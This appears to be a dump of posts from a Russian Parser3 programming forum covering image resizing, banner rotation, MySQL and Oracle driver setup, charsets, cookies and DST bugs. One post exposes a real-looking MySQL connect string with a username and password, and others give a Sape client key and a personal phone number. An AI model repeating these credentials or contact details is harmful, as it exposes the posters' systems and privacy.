</table>[/code]"
"62892","Классы для работы с изображениями в NConvert\
проблема с изменением размера изображения ^oImg.resize\
\
выставляю $.bKeepRatio(1)\
и нужную ширину $sWidth... пропускаю $sHeight\
^oImg.resize[$sFileSrc;$sFileDest;$sWidth;;$.bKeepRatio(1)]\
... не работает\
\
пришлось вычислять нужную ширину \
$t[^oImg.info[$sFileSrc]]\
$heightnormal(^eval(467*$t.iHeight/$t.iWidth))\
\
где проблема?\
как параметр $hParams выставить чтоб пропорции сохранялись?"
"62893","select ..... order by rand() limit 3"
"62894","если банеры хранятся в БД, то простейшем случае ничего кроме 4 запросов на ум не приходит (первый запрос -- достать количество записей, второй и далее -- достается банер с $.limit(1) и $.offset(^math:random(количество)), при этом предварительно проверяется не доставали ли мы уже банер с этим offset-ом)\
\
в случае, когда нужно отобразить много разных банеров на странице (в том числе которые могут храниться в разных источниках) мы использовали несколько иной подход: формировали \"наборы банеров\", которые потом и показывались целиком. в простом случае этот \"набор\" содержит id-шек банеров (выбираются также как я описал в начале), а затем набор \"кешируется\" (в БД, файле или hashfile, мы использовали hashfile). таких наборов по определённым условиям делалось несколько, и они ротировались (линейно, показался первый -- за ним покажется второй, потом третий и т.д.). понятное дело, что это не \"случайный\" показ банеров, но для наших задач этого хватало, а т.к. мы имели сложные и разнородные банеры, то таким образом мы сильно снизили количество запросов к SQL серверу (на самом деле в наборе мы хранили не просто id банеров, а банеры целиком: ссылку, путь к файлу, текст)."
"62896","Заметил странную особенность при использовании ^memory:compact[] на XP, периодически процесс парсера зависает в памяти.\
\
Когда убрал все ^memory:compact[] все залетало"
"62898","например я часто использую парсер на win для выполнения каких-то очень сложных действий, на которые съедается до гигабайта памяти (именно из-за этого они не могут быть выполнены на хостинге).\
\
очевидно, что при этом я сразу пишу код с использованием compact. зависаний процессов parser3.exe в памяти я не наблюдал (XP PE+SP2, Apache 2 + Parser3 CGI версия 3.2.1sp2).\
\
однако я знаю например о баге compact, который проявляется при  определённых условиях когда идёт работа с hashfile (если активно работаем с hashfile и делаем туда _много_записей_, то после очередного compact hashfile может оказаться недоступен, при этом его структура не нарушается). но при этом опять же никакого зависания процессов не наблюдается.\
\
тем не менее рекомендую убедиться, что у вас используется gc.dll с сайта (положите её рядом с парсером, т.к. в принципе она могла поставиться с другим софтом, но отличаться например версией)\
\
ну и до кучи: ^memory:compact[] не быстрая операция, делать её без необходимости не рекомендуется. а оценить в процессе написания кода эту необходимость получается далеко не всегда, поэтому... рекомендую пользовать ^Erusage:compact[] (ну или своим аналогом), который вызывает ^memory:compact[] только в случае, если с последнего его вызова было израсходовано много памяти, в противном случае не делает ничего."
"62899","потому, что при этом происходит сортировка _всей_ таблицы (без использования индексов, понятное дело), temporary таблица и filesort гарантированы, что при увеличении количества записей до некоторого предела (тут влияют настройки SQL сервера) даёт гарантированные тормоза. \
\
эти тормоза могут начаться много позже момента написания кода, когда количество записей увеличится. я не знаю до какого значения возрастёт их количество и через сколько времени это произойдёт, но писать код, содержащий подобную бомбу -- не в моих правилах.\
\
я всегда вместо выборки _одной_ случайной записи с помощью order by rand() делаю select count + select ... + $.limit(1) $.offset(^math:rand(количество)).\
\
более того, в уже написанном до меня коде приходилось вносить подобные правки не раз и не два (начинались тормоза). алгоритм поиска тормозов всегда одинаковый:\
1. @USE MySQL.p\
2. global replace table::sql -> oSql.table & Co\
3. reading sql.log\
4. поиск тормозных запросов и их исправление\
\
P.S. последний раз пользовался этим алгоритмом 15 минут назад. убил бы того, что вместо SELECT COUNT(*) написал SELECT ..., а потом $iCount(^tData.count[]) :("
"62900","а если посмотреть с какими параметрами вызывается nconvert в конечном итоге и затем попробовать запустить её ручками?\
\
+ проверить версию nconvert -- вдруг у вас она не умеет подобного?"
"62901","На хабре сегодня увидел топик про ещё один вариант капчи на my.opera.com/community/signup/\
\
Позволю себе скопировать оный топик.\
\
[url=\"http://habrahabr.ru/pictures/00/00/01/71/85/picture_2.png\"]скриншот[/url]\
\
в исходниках:\
[code]\
<span>P&#x6C;</span>\
<!-- id2863354 -->\
<span>ea</span>\
<!-- id2860550 -->\
<span>s</span>\
<!-- id2837993 -->\
<span>e t&#x79;</span>\
<!-- id2915856 -->\
<span>pe</span>\
<!-- id2855636 -->\
<span> </span>\
<!-- id2855642 -->\
<span>this</span>\
<!-- id2853857 -->\
<span> s&#x65;</span>\
<!-- id2853863 -->\
<span>cu&#x72;i&#x74;y</span>\
<!-- id2915831 -->\
<span> &#x63;od</span>\
<!-- id2915838 -->\
<span>e</span>\
<!-- id2863310 -->\
<span> &#x3A;</span>\
<!-- id2863317 -->\
<span> d7d</span>\
<!-- id2854206 -->\
<span>48&#x38;</span>\
<!-- id2854213 -->\
<input type=\"hidden\" value=\"f4ba06179698a652ed0e19fa90e87580_1191837071\" name=\"publickey\" />\
[/code]\
\
Фраза 'Please type this security code' разбивается спанами каждый раз по разному.\
Длина самого Security code тоже каждый раз разная.\
\
[b]Из плюсов:[/b]\
- не нужно разбираться, что за каракули на картинке\
- можно скопипастить в поле ввода\
\
[b]Из минусов:[/b]\
???\
\
\
\
\
Господа гуру парсера, может сотворите сей вариант?... если оно того стоит, конечно."
"62902","подставляется -ratio или -quiet\
пробовал... не получилось - ошибка"
"62903","Спасибо!"
"62904","Что надстройка забора вокруг дома всего на пять сантиметров резко уменьшает число воров. \
\
Если у вас не ахти какой посещаемый сайт, \"капча\" в вашем случае может быть до идиотизма простой - \"скопируйте текст отсюда в это окошко\" - без техн. ухищрений. \
\
Адаптировать программу для спама в гостевые книги и форумы под ваш чуть-чуть нестандартный сайт будут только тогда, когда это будет стоить свеч. Люди ленивы, а беззащитных сайтов много - ваш будет проще обойти."
"62905","При привязке блоков к странице решил параметры хранить в поле params, в виде строки:\
[code]$Params.[NewsPerPage][20]\
$Params.[NewsType][1][/code]\
\
потом получаю их в виде\
[code]$Params[^hash::create[]]\
^process{$TableBlock.params}[/code]\
\
с ними работаю через деф\
[code]$NewsPerPage[^if(def $Params.NewsPerPage){$Params.NewsPerPage}{10}]\
[/code]\
\
Что-то все равно пока не устраивает, какие есть подводные камни в таком подходе"
"62906","время жалко на изобретение колеса.\
\
Поэтому лучше сразу начать работать с MySQL, чем спустя кучу времени понять, что пора, наконец, начать работать с MySQL.\
\
вот и все. )))"
"62907","Народ, помогите! Необходимо определить URL, с которого попали на сайт, а затем, если страница недопустимая, перенаправить, допустим,  на главную моего сайта. Мне это для необходимо для паролирования. Я здесь новенький, пока плоховато разбираюсь!!!!"
"62909","даже такую капчу ломают:\
kyivstar.net/sms/\
\
Чуваки сидят, и месяцами ломают голову как написать флудер именно под эту форму. И, таки, ломают."
"62910","Вобщем есть сайт. полностью работает на локальном компе под винду\
\
взял хостинг он под *nix с предустанвленным прсером\
сайт работает без проблем. но не дается подключиться к базе.\
базу создал, таблицы тоже.\
\
дополнительно создал свой каталог и положил туда нужные файлы согласно докам:\
\
/cgi-bin/parser3.cdi\
/cgi-bin/lib/libparser3mysql.so\
/cgi-bin/charsets/koi8-r.cfg\
/cgi-bin/charsets/windows-1250.cfg\
/cgi-bin/charsets/windows-1251.cfg\
/cgi-bin/charsets/windows-1254.cfg\
/cgi-bin/charsets/windows-1257.cfg\
\
но ничего не помогло.\
права доступа стоят как 755\
\
попробовал положить в каждый из каталогов по каждому файлу перечисленному выше. но все тоже.\
\
пробовал создать каталог на уровень выше. все тоже.\
создавал файлы .htaccess\
прописывал данные согласно инструкции назначал обработчиком страниц .. но все ровно конеекта нету.\
\
выдает ошибку  connect' $SQL:drivers table must be defined [parser.runtime]\
\
Тестовая страница проверки парсера показывает следующее\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
Не определена таблица с кодовыми таблицами.\
Возможно у вас не обрабатывается конфигурационный auto.p \
$SQL:\
Не определена таблица с драйверами $SQL.drivers\
Возможно у вас не обрабатывается конфигурационный auto.p \
\
DOCUMENT_ROOT: /home/xxx/domains/xxx.xxx.ru/public_html\
$response:charset: UTF-8\
$request:charset: UTF-8\
$request:uri: /parser_test.html\
$request:query: \
$SQL.connect-string: не определена\
$CLASS_PATH: не определен\
\
\
Используется версия парсера до 3.0.8, которая не имеет данного метода\
\
\
Работа с SQL\
\
Не определена переменная $SQL.connect-string, проверка корректности работы с базой данных не возможна.\
\
Подскажите пожалучта где еще можно посмотреть или прописать какие нибдуь дополнительные настройки ?"
"62911","куда вы дели конфигурационный auto.p? Он должен находиться в одной директории рядом с parser3.cgi. Если его там нет, значит он остался в том архиве из раздела \"скачать\", из которого вы взяли файлы с кодировками.\
\
Про строку соединения с SQL-сервером есть [url=\"http://www.parser.ru/docs/lang/parserconfig.htm\"]в документации[/url]\
\
[quote]Используется версия парсера до 3.0.8, которая не имеет данного метода[/quote]\
парсер какой-то древней версии, это не очень хорошо..."
"62912","Конфигурационный auto.p я ложил в каждую из директорий cgi-bin  и cgi-bin/parser3 но не помого.\
дело в том что парсер предустановлен по умолчанию на данном хостинге.\
\
даже если я удалю все свои parser.cgi сайт продолжает работать.\
но коннекта с базой я не могу добиться"
"62913","[code]@conf[filespec]\
...\
[/code]\
конфигурационный метод из конфигурационного auto.p можно попробовать поместить в auto.p в корне веб-пространства."
"62914","вот теперь все получилось, спасибо но на этом еще не все.\
\
теперь тест парсера показывает последнюю ошибку\
\
Работа с SQL\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
driver failed to initialize client library 'libmysqlclient.so', /usr/lib/libmysqlclient.so: cannot open shared object file: No such file or directory \
/home/mysite/domains/mysite.ach.co.ua/public_html/lib/libparser3mysql.so\
\
я так понял что нужно это уже админу писать так как парсер не может найти в папке  /usr/lib/libmysqlclient.so\
\
???"
"62915","http://www.parser.ru/forum/?terms=string+method+not+found&author=&doSearch=%CD%E0%E9%F2%E8\
\
Разве так лучше?"
"62917","да, лучше всего сразу поинтересоваться у саппорта, куда они положили libmysqlclient.so\
\
P.S. эта ошибка подробнее описана в [url=\"http://www.parser.ru/faq/errors/\"]FAQ[/url]"
"62918","строку нужно брать [url=\"http://www.parser.ru/forum/?terms=%22string+method+not+found%22&author=&doSearch=%CD%E0%E9%F2%E8\"]в кавычки[/url]\
\
см. [url=\"http://www.parser.ru/forum/search_options.html\"]команды управления поиском[/url]\
\
а вообще да, можно и в яндексе/гугле по форуму искать, там свои преимущества..."
"62919","По идее достаточно в таблице сделать одно random смещение и показать три баннера подряд. Хотя светлые мысли Миши мне тоже нравятся."
"62921","мне искать надо было [i]base64 string method not found[/i], а не string method not found."
"62923","Вы видать не поняли меня $TableBlock.params это поле из таблицы привязки блоков к странице t_structure_block поля structure_id,block_id,params где параметры для блока к разделу не выносятся в другие даблицы а пишется в виде хеша в текстовое поле, но все равно смушает использование ^process{} и ^use[], вот пример привязки блока:\
[code]\
$Blocks[^Engine.XDoc.createElement[Blocks]]\
$TableBlock[^table::sql{SELECT DISTINCT t_block.id,t_block.system_name,t_block.process,t_pages_block.params FROM t_block LEFT JOIN t_pages_block ON t_block.id=t_pages_block.block_id WHERE t_block.for_all_pages=1 OR t_block.id IN(SELECT block_id FROM t_pages_block WHERE page_id=$Engine.Id)}]\
^if($TableBlock){\
	^TableBlock.menu{\
$TempBlock[^Engine.XDoc.createElement[$TableBlock.system_name]]\
$ProcessName[$TableBlock.system_name]\
		^if(-f \"${Engine.ClassesPath}${ProcessName}.p\"){\
^use[${Engine.ClassesPath}${ProcessName}.p]\
$Params[^hash::create[]]\
^process{$TableBlock.params}\
$ProcessClass[^MAIN:ClassFactory.$ProcessName.factoryCreate[$Params]]\
$Temp[^TempBlock.appendChild[^ProcessClass.Generate[]]]\
$Temp[^Blocks.appendChild[$TempBlock]]\
		}\
	}\
}\
$Temp[^Root.appendChild[$Blocks]]\
[/code]"
"62924","поделись секретом, как ты научился распознавать фотки? :))"
"62926","Секрет стоит денег.\
скажу лишь что там бага и фотки распознавать не надо было."
"62927","Есть БД, все в ней храниться в кодировке utf8.\
Строка соединения такая: \
$SQL.connect-string[mysql://root:@[/private/tmp/mysql.sock]/mysite?charset=utf8]\
Вся информация (и русская и английская) достается отлично, проблемы начинаются с записью в БД. То что введено латинскими символами, пишется а вот русские символы в БД становятся вопросиками. Думал это из за того что в маке другая кодировка символов, но как-то русские символы должны же добавляться. \
Что не так с кодировками, никак не могу понять.\
Если дело в настройке MySQL, подскажите как это изменить.\
mac os 10.4.10\
mysql 5.0.45\
Parser/3.2.1sp2 (compiled on powerpc-apple-darwin8.6.0)"
"62928","что показывает _test.html?"
"62929","Подскажите, пожалуйста, может ли isapi rewrite считывать инфу из Cookie и запихивать ее в url ?"
"62931","REFERER присылается (точнее может присылаться, в Opera я могу отключить это) броузером, соотв. там может прийти всё что угодно. \
\
ориентироваться на это для создания системы авторизации -- неправильно."
"62932","Натолкнулся на сабж при выполнении такого кода:\
\
[code]\
$mydate[^date::create[2007-10-28]]\
^mydate.sql-string[]<br/>\
$mydate[^date::create($mydate+1)]\
^mydate.sql-string[]<br/>\
[/code]\
\
Результат:\
2007-10-28 00:00:00\
2007-10-28 23:00:00\
\
а т.к. потом выполнялось ^mydate.left(10) и шла запись в базу, получилось нарушение уникальности (две даты 2007-10-28)...\
\
глаз да глаз нужен за этим временем..."
"62933","http://xkcd.com/327/"
"62934","тем не менее забывал про DST и сам: надо было показывать длительность интервалов в днях. делал в лоб: $dtTo-$dtFrom. \
\
и если эти даты оказывались в разных DST, то результат -- не целое число (т.е. надо или округлять или сравнивать значения их DST и делать коррекцию).\
\
выбрал последнее:\
[code]\
@printDateDiff[dtFrom;dtTo]\
$result[^eval(^if($dtFrom.daylightsaving == $dtTo.daylightsaving)($dtTo-$dtFrom)($dtTo-$dtFrom+($dtTo.daylightsaving-$dtFrom.daylightsaving)/24))[%d]]\
#end @printDateDiff[]\
[/code]"
"62936","спасибо, [code]^mydate.roll[day](1)[/code] работает как надо"
"62937","в вашем случае все ок, но если после roll _время_ попадёт в несуществующий интервал (между 2 и 3 часами ночи есть \"временная дырка\") -- то будет ошибка."
"62938","Подскажите плиз есть ли где-то готовые шрифты gif для, чтобы не рисовать самому.\
\
Большое спасибо"
"62942","[url=\"http://slil.ru/24963109\"]где взять[/url]"
"62943","Файлы были в кодировке windows-1251, в базу добавлялись вопросики.\
Теперь я перекодировал их в utf8, в базу так и добавляются вместо русских букв вопросики.\
Test.html:\
Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
/Library/WebServer/Documents/_test.html(136)\
\
Вот. Я наверное зря перекодировал файлы?"
"62944","перекодировать файлы или нет -- решать вам (как вам удобнее). просто от того, в какой кодировке файлы, в какой БД и какие указаны $request:charset и $response:charset -- зависит какую опцию использовать в строке соединения с БД.\
\
перекодируйте _test.html в utf-8. судя по ошибке $request:charset у вас или utf-8 или не задан вовсе (что равнозначно utf-8).\
\
как разберётесь c _test.html до кучи сообщите, какие $request:charset и $response:charset заданы в вашем конфигурационном auto.p (в принципе _test.html это покажет)"
"62945","оп.система Debian\
без mySQL все работает\
\
(из auto.p\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so.15\
}]\
]\
)\
библиотека клиента  лежит в /usr/lib\
\
при попытке установить соединение\
(из файла \
$connect_string[mysql://tfcomu_tfc:24tf42@localhost/tfcomu_tfc?charset=cp1251]\
)\
получаю сообщение:\
libstdc++.so.5: cannot open shared object file: No such file or directory"
"62946","Подобная ситуация и у меня., тоже жду решения. со стороны хостинга.. хотя может и другие есть пути решения.\
\
может кто знает если положить тот файл в другую директорию, то где можно прописать путь который укажет что данный файл лежит в другом месте ?"
"62947","И один из аргументов при общении с клиентами.\
Вообще, спасибо разработчикам, за то, что побеспокоились о такой \"мелочи\"."
"62948","[url=\"http://www.parser.ru/docs/lang/opuntainttaint.htm\"]untaint, taint. Преобразование данных[/url]\
\
В Parser Из формы все данные приходят не \"как есть\" а проходят предварительное преобразование. В результате, невозможно использовать [url=\"http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%8A%D0%B5%D0%BA%D1%86%D0%B8%D1%8F_SQL\"]Injection SQL[/url]-взлом"
"62949","например\
\
[code]@SET_preview_image_file[_image_file]\
	^if(^acceptable_image_file[$_image_file]){\
		^use_module[picture]\
\
		$fields.preview_image_file[^picture:resize[$_image_file]]\
	}\
#/SET_preview_image_file[/code]"
"62952","Требуется программист с отличным знанием parser на part time. Обращаться по icq 308251596, телефону 8-916-409-60-14."
"62956","http://www.parser.ru/forum/?id=61639\
\
В продолжении темы, заметил, что такая же ситуация происходит если нажать [[b]Отправить[/b]] мышью. Точно. 3 последних раза.\
\
Теперь Opera 9.5."
"62957","буду на это смотреть когда Opera 9.5 выйдет из стадии alpha  (хотя что-то для неё уже делал, в ней ссылки \"Свои треды|Закладки|...\" отражались криво).\
\
P.S. дома у меня 9.5, из неё я уже постил в форум. подобного глюка не видел, хотя видел другие."
"62959","Не не, не каждый раз так себя ведёт, но один к десяти вроде точно."
"62962","то получу админский доступ за 1,5 минуты :-)"
"62963","соединяем миры ;)"
"62966","Проверил с _test.html, вот результат:\
\
[i]Определение серверной кодировки MySQL: $request:charset (UTF-8) не совпадает с переменной MySQL сервера character_set/character_set_client (SQL сервер вернул значение latin1).\
Кодировка сервера «по умолчанию» (latin1) не настроена для работы с русскими буквами. В случае, если вы планируете хранить в БД тексты на русском языке и используется MySQL сервер версии 4.0 или выше, вы можете сами указывать кодировку после подключения согласно документации (выполняя после каждого соединения комманду \"SET CHARACTER SET charset_name\"). Если используется более ранняя версия MySQL, то вам нужно попросить вашего администратора настроить MySQL сервер.\
\
SQL преобразование строки с русским алфавитом к верхнему регистру: преобразование было произведено не корректно. \
Результат: '?????????????????????????????????' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ').[/i]\
\
$request:cahrset и $response:charset на стороен на utf8\
\
Вот проблема, кодировка севера по умолчанию не понимает руские буквы.\
Как только это исправить?"
"62967","оказывается был. век живи. читай faq."
"62968","вообщем, знай наших!"
"62969","\"SQL сервер вернул значение latin1\" -- знаит вы не указали в строке соединения ?charset=UTF8\
\
у вас mysql5, с помощью этой команды (которая драйвером преобразуется в SET CHARACTER SET UTF8) его можно попросить общаться с вами в utf8."
"62970","http://zvuki.ru/auto.p\
\
:)\
Пароль к БД и прочая дребедятина , было год назад :)\
Отписал Elik`у и Соне Соколовой. deny добавили :)\
\
P.S Код каша, никакого XSLT :)"
"62971","в SET CHARACTER SET UTF8, потому что у меня и было написано в конце строке соединения ?charset=utf8\
Кое-как решил эту проблему, перекодировав базу в utf8 через консоль, кириллица стала нормально отображаться. Спасибо :)"
"62972","Как, если не секрет?"
"62973","Практически — это, конечно, получение инфы... Но ведь не больше, чем из-за оплошности программиста."
"62974","код, делающий это примитивен.\
не могло в слово 'charset' затесяться русская 'c', 'a' или 'e'?\
\
или можно было ручками эту комманду давать сразу после connect:\
\
[code]^connect[...]{\
	^void:sql{SET CHARACTER SET UTF8}\
	... ваш код...\
}[/code]"
"62975","Подскажите пожалуйста, если есть site.ru и forum.site.ru, можно ли сделать так, чтобы если я залогинен на site.ru (кука с sid прописалась), могу я быть также залогинен на forum.site.ru ?\
\
Теоретически вроде как нет... Ведь это разные домены, а куки нельзя брать у чужих доменов...\
\
Но на том же yandex.ru это же как-то реализовано!..."
"62976","Любой взлом , это результат оплошности"
"62977","[code]\
$cookie:имя[ \
   $.value[значение]  \
   $.domain[site.ru] \
] \
[/code]"
"62978","Уважаемые разработчики!\
Когда у парсера день рождения?"
"62980","Что-то у меня сильные сомнения по этому поводу...\
Ну, к примеру, если я на своем сайте напишу:\
[code]$cookie:Session_id[ \
   $.value[Hello, Yandex!]  \
   $.domain[yandex.ru] \
][/code]\
оно не должно записать ничего в куки домена \"yandex.ru\" - это очевидно."
"62982","Парсер и драйвер надо пересобрать.\
\
[code]$connect_string[mysql://tfcomu_tfc:24tf42@localhost/tfcomu_tfc?charset=cp1251][/code]\
На будущее , не светите пароли :)"
"62985","А, разобрался... \
Надо писать:\
[code]$cookie:имя[ \
   $.value[значение]  \
   $.domain[.site.ru] \
][/code]\
Тогда кукой можно будет пользоваться как из домена, так и из поддомена :)"
"62987","Добрый день!\
\
Помогите, пожалуйста, решить такую проблему\
\
/home/httpd/vhosts/cleftop.com/httpdocs/classes//Sql.p(53:10): './lib/libparser3mysql.so' driver failed to initialize client library '/home/httpd/vhosts/cleftop.com/cgi-bin/lib/libparser3mysql.so', function mysql_init was not found [<no type>]"
"62990","Вот проблема...\
Установил parser3.cgi на хостинг agava, всё сделал правильно,\
но parser обрабатывает только index.html, а все остальные страницы не обрабатывает(выводит код parserа).\
в чём может быть проблема???"
"62991","А остальные страницы случаем не с расширением htm?"
"62992","нет"
"62993","Порядок действий:\
1. Установил http://www.parser.ru/f/1/download/win32/parser3_2_1_ru.exe\
2. Прописал всё как тут http://swissknife.bougakov.com/misc/iis/\
3. Сделал разрешения: IIS manager в Web Service Extensions разрешил ISAPI extensions\
Получаю результат выполнения _test.html:\
[code]Не определена таблица с кодовыми таблицами ($CHARSETS). \
Возможно у вас не обрабатывается конфигурационный auto.p\
\
Не определена таблица с драйверами ($SQL.drivers) \
Возможно у вас не обрабатывается конфигурационный auto.p\
\
Задание $str[АбвГде]\
Длина строки ^str.length[]: 12\
\
Первые 2 символа строки ^str.left(2): А\
Последние 3 символа строки ^str.right(3): ?е\
2-4 символы строки ^str.mid(1;3): ?б\
\
Короче, думаю, продолжать не надо.\
[/code]\
_test.html в кодировке UTF-8\
auto.p - лежит рядом с parser3isapi.dll и явно не обрабатывается!!!!! Ладно, так и быть, кидаю его от балды в корень сайта, рядом с _test.html. Получаю ошибку \"Unhandled Exception\"\
\
Т.е. в данном случае мне вообще ни чего не понятно.... логов ошибок тоже ни где вроде не сохраняется... :( Увы... Подскажите, плиз....\
\
PS: MySQL на сервак не ставил пока."
"62994","в данном случае не знаю, но помню отказался от агавы из-за того что у них стоят очень серьёзные ограничения на запуск скриптов... в частности самого парсера... ограничение на CPU, RAM... да и продление домена хотели сделать за 50 уё вместо 15... Как там у них сейчас - не знаю... может что-то изменилось..."
"62995","Привет! \
Ставлю последний денвер с парсером + пакет расширения postgres.\
Кладу в \\usr\\local\\parser3\\lib\\ файл parser3pgsql.dll\
в главном auto.p ничего не меняю... \
[code] $SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll  $sqldriversdir/libpq73.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/code]\
\
Парсер выдает следующее: \
\\usr\\local\\parser3/lib/parser3pgsql.dll\
can't open the module\
\
Переключаю подключение на mysql - работает... \
Абсолютные пути тоже не помогают... \
Подскажите, пожалуйста, в чем дело... \
Спасибо."
"62996","приведите текст вашего .htaccess\
и пример имени файла + кода внутри, который, по вашим словам парсером не обрабатывается."
"62997","Пытался вставить код с сайта sape.ru на страницы с Parser. Сделал как описано в http://www.parser.ru/forum/?id=33412 но не помогло ((( \
На страницу абсолютно ничего не выводится. \
В .htaccess добавил AddHandler application/x-httpd-php .php\
Может кто устанавливал этот код на страницы с парсером?\
\
<?php \
 define('_SAPE_USER', 'c2a90ff62d61d5f715c96f65628ebd8e'); \
 require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); \
 $sape = new SAPE_client();\
 echo $sape->return_links();\
?>"
"62998","В FAQ я обнаружил для себя новый раздел \"Forum Knowledge Base\", но он почему то выдает \"Unhandled Exception\".\
Интересно посмотреть что там."
"62999","У вас операционка какая?"
"63001","интересно как\
\
да м другие будут знать, на что обращать внимание"
"63002","там просто отображается список сообщений форума, начинающихся с 'kb: '"
"63004","Была сделана работа, возможно требующая, впрочем, еще легкой доработки. Оплаты не было. Ответов нет. Достучаться до человека невозможно. По предоплате не работает."
"63006","[quote]\
[29.04.2002] Официальный выход Parser 3.0. Опубликованы исходные тексты; бинарные версии под Win32, FreeBSD, Linux; документация по языку и исходным текстам. Если вы видите старую версию сайта - www.parser.ru\
[/quote]"
"63010","http://web.artlebedev.ru/tools/technogrette/xslt/typography/\
\
Интересно, кто-нибудь из форумчан пытался реализовать подобное в своих проектах? Стоит ли игра свеч?\
\
Поделитесь опытом."
"63012","А как появляются такие сообщения? Модераторы помечают?"
"63013","кроме того кажется Maxx добавил одно сообщение с подобным subj, которое собственно и привело к unhandled exception, из-за того, что я забыл вписать untaint[xml] (на parser.ru старый imp1, я привык к новому, где этот untaint писать не надо)\
\
в общем писать их может кто угодно, просто если напишут совсем бред -- потру сообщение нафиг :)"
"63014","Мда... Добились своего — как пацана меня оборали:)\
\
А я еще на это долго смотрел:\
«...Автоматическое типографирование текстов на основе XSLT-преобразований рекомендуется к внедрению на высоконагруженных серверах...»\
\
Не мог понять, в чем прикол:)\
\
А вообще, уже не по этой теме — насколько тяжелым для сервера получается XSLT? Много ли требует ресурсов?"
"63015","Еще одни грабли в хеше :( \
\
[quote]Замечание: существует ограничение на длину строк ключа и значения, в сумме они не должны превышать 8000 байт. \
[/quote]"
"63016","что касается длины текста, хранимого в clob полях oracle, то вы похоже не прочли 4 урок, там как раз про oracle есть лирическое отступление."
"63018","Серверная часть\
[code]procedure cur_tree\
   (p_id                in     tree.id%type\
   ,p_out_result           out clob);\
[/code]\
\
[code]$variables[$.p_id(^fid.int(0))\
           $.p_out_result[]      \
       		]\
^connect[$connect_string]{\
	^void:sql{begin reference.cur_tree(:p_id,:p_out_result)^; end^;}[$.bind[$variables]]\
}\
[/code]\
строка[code] ^connect[$connect_string]{\
	^void:sql{begin reference.cur_tree(:p_id,:p_out_result)^; end^;}[$.bind[$variables]]\
[/code]  дает ошибку \
begin reference.cur_tree(:p_id,:p_out_result); end;\
\
ORA-06502: PL/SQL: numeric or value error: character string buffer too small\
ORA-06512: at line 1\
 (execute, -1)\
\
- сначала думал в процедуре где-то ошибка \
но процедура с передаваемым параметром 100% рабочая - оказалось возвращаемый результат 9.2к и узкое место тут это хеш который в сумме может дать токо 8 к!!! облом"
"63019","хорошо, если я неправ - где рыть ?"
"63020","и чем обьяснить такое странное поведение - работало, работало, а тут бац и перестало (как только размер clob превысил 8000)"
"63021","вы не правы в том, что прочитировали доку неоттуда.\
\
проблема есть. но она не в hash. \
\
например она может быть в драйвере oracle. вижу там есть ограничение (выделяется фиксированная строка, но длиной 4000, а не 8000).\
\
или в самом oracle, который при такой работе не умеет оперировать столь длинными строками (увы, я не специалист по oracle, и ради спортивного интереса лезть в его очень негуманную по отношению к человеку доку нет ни малейшего желания).\
\
страннО то, что ошибка оракловая (ORA-***). возможно он смотрит на длину переданного ему буфера, понимает что результат не влезет и ругается. но возможно он на неё даже не смотрит, а смотрит на какое-либо своё ограничение.\
\
думаю можно попробовав проверить попытавшись достать и отобразить 7000. или пересобрать драйвер, изменив значение на 16000 и посмотреть, останется ли ругать (самый прямой способ -- читать его доку. себе в todo добавил, но скоро до этого у меня руки не дойтут...)."
"63023","хотя процедура тестируется и возвращает результат.\
интересно, а нет ограничения на длину текстовой переменной в парсере?"
"63024","более того, приходилось видеть \"блоки\" в imp1 (читай поле типа text таблицы MySQL), в которых было... 1.6 MB _текста_ (текст с html типа <p/>, <br/> и Co). всё это доставалось sql запросами и даже выводилось (сколько времени это трансформилось, рендерилось броузером при выводе и рендерилось броузером в а-ля wisiwyg редакторе в админе -- промолчу %-) )"
"63025","Операционка - WIN XP\
lib73 кладу в \\usr\\local\\parser3\\lib\\ туда же куда и parser3pgsql.dll"
"63027","Взял старый parser3pgsql.dll, на работе был - все заработало. \
Хотя дата PgSql драйвера у вас старая, может быть кто-то случайно биток выложил (.\
Только что проверил -  не работает текущий выложенный драйвер."
"63031","Как и у всех технологий у этой тоже есть плюсы и минусы. Реализовать то многообразие правил, которое возможно сделать регулярными выражениями здесь довольно проблематично. Затраты памяти должны быть сопоставимы, т.к. регулярные выражения тоже прилично отъедают.\
\
Мне лично нравится предложеный подход, что тексты изначально готовятся в XML, а потом обрабатываются. Если взять за основу какой нибуть пример верстки, скажем из Кварка Экспресса, то можно тексты для веба и для печати не переверстывать."
"63032","соотв. требуется libpq.dll это версии. но увы, она тащит за собой ещё пачку dll (которые в принципе должны быть в путях, если на этой машине устанавливался сервер).\
\
среди них: libeay32.dll, libiconv-2.dll, libintl-2.dll и ssleay32.dll (какие точно нужны не подскажу, эти были в присланном архиве, если все они доступны в путях -- новый драйвер с новой libpq.dll работает). все они есть в дистрибутиве PgSQL.\
\
если будет время -- попробую пересобрать с версией 7.4 (с которой по заверениям автора патча всё должно быть ok), т.к. у неё вроде  нет таких зависимостей.\
\
в новой версии драйвера egr приделал binding переменных (раньше был только для оракла), сделал excaping средствами клиентской библиотеки и провел небольшой рефакторинг."
"63033","P.S. насколько я понимаю, в приведённых примерах нужен был именно separator ';', а не encloser..."
"63034","На локальной машине, апач 1.3, mysql 5.1\
Взял код из урока про новости.\
Проблема: при обращении к странице /news - броузер сначала тупит пару секунд, а потом быстро загружает требуемую страницу.\
строка подключения описанна в /news/auto.p в @auto\
С чем могут быть связаны тормоза?\
Поиск не принес облегчения...Может конечно плохо искал, в этом случае прошу заранее простить меня."
"63036","работаете с сервером по имени или по IP?\
\
если по имени, то не долго ли резолвится имя?\
\
